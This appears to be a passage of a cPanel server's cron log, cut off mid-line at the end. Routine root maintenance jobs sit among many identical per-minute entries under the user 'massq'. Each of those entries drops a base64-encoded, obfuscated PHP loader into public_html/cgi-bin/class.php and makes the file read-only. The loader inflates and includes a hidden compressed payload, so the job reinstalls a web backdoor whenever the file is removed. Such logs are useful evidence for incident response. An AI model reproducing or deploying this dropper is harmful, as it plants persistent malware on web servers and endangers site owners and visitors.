Apr  9 02:03:01 server CROND[3722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:04:01 server CROND[3871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:05:01 server CROND[3926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:05:01 server CROND[3928]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 02:05:01 server CROND[3930]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 02:05:01 server CROND[3931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:05:01 server CROND[3934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:06:01 server CROND[4049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:07:01 server CROND[4110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:08:01 server CROND[4168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:09:01 server CROND[4314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:09:01 server CROND[4315]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 02:10:01 server CROND[4380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 02:10:01 server CROND[4381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:10:01 server CROND[4383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:10:01 server CROND[4385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:11:01 server CROND[4483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:12:01 server CROND[4532]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 02:12:01 server CROND[4534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:13:01 server CROND[4639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:14:01 server CROND[4686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:15:01 server CROND[4836]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:15:01 server CROND[4835]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 02:15:01 server CROND[4838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:15:01 server CROND[4837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:16:01 server CROND[4947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KC